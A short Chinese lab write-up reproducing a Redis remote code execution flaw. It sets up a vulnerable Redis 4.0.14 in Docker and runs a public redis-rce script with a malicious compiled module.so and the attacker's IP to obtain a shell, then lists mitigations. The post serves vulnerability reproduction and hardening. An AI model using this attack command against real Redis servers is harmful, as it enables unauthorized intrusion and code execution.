Redis-RCE漏洞复现

时间:2024-03-26 19:25:37

一、简介

Redis:REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis RCE漏洞来源:https://lorexxar.cn/2019/07/10/redis-5-x-rce/

二、漏洞复现过程

1、使用工具

https://github.com/Ridter/redis-rce

https://github.com/n0b0dyCN/RedisModules-ExecuteCommand

Redis-RCE漏洞复现v

注意:其中的module.so恶意文件是由第二个工具所编译的。(下载后,make编译)

2、环境配置

(1)安装redis 环境

Redis-RCE漏洞复现

Ps:由于是在Win7上搭建的Docker环境,一开始pull失败,多试了几次就好了,很神奇。

(2)启动Redis

docker run -p 6379:6379 -v $PWD/data:/data  -d redis:4.0.14 redis-server --appendonly yes

Redis-RCE漏洞复现

(3)访问搭建好Redis环境的Docker主机

Redis-RCE漏洞复现

出现这个页面表示一切正常,放心进行下一步。

(4)开始攻击

redis的IP地址为:192.168.99.100

攻击者的IP地址为:192.168.0.106

Python redis-rce.py –r 目标IP –L 攻击者IP –f module.so

Redis-RCE漏洞复现

在本地执行redis-rce.py,成功getshell。

三、漏洞建议

 

1、禁止外部访问redis服务端口。

2、禁止root权限启动redis服务。

3、限制访问redis服务的IP。